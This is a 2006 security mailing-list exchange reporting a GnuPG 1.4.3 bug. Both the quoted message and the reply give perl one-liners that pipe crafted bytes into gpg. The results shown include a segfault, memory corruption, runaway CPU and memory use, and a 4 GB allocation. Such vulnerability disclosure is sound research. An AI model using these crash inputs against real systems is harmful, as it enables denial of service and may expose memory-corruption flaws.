[<prev] [next>] [day] [month] [year] [list]
Message-ID: <20060531065448.1b1507a04a440dbbe6ab6eabc5c58a9e.30625ea451.wbe@email.secureserver.net>
Date: Wed May 31 16:08:41 2006
From: info at sigint-consulting.com (Sigint Consulting)
Subject: RE: GnuPG fun
Evgeny,
Yes this and variations of it produce some interesting output (AMD64
Gentoo)
$ perl -e 'print "\xcd\x7f\x7f\x7f\x7f\xfe"'| gpg --no-armor
gpg: orphaned user ID
$
This will proceed to eat all available CPU and memory until it dies
(approx 1-2 minutes later)
$perl -e 'print "\xcd\xff\x7f\x7f\x7f\x7f"'| gpg --no-armor
gpg: orphaned user ID
Memory Error: memory at 0x2aaaabb99018 corrupted (overflow=55)
Aborted
$
which is probably related to this
$perl -e 'print "\xcd\xff\xff\x7f\x7f\xfe"'| gpg --no-armor
gpg: out of memory while allocating 4286546022 bytes
$
Chris
>Hi,
>
>Interesting GnuPG 1.4.3 bug:
>
>$ perl -e 'print "\xcd\xff\xff\xff\xff\xfe"'| /var/gnupg/bin/gpg --no-armor
>gpg: /home/ggg/.gnupg/options:82: deprecated option "honor-http-proxy"
>gpg: please use "keyserver-options http-proxy" instead
>
>gpg: Segmentation fault caught ... exiting
>Segmentation fault
>
>Regards,
>Evgeny Legerov
>www.gleg.net
Powered by blists - more mailing lists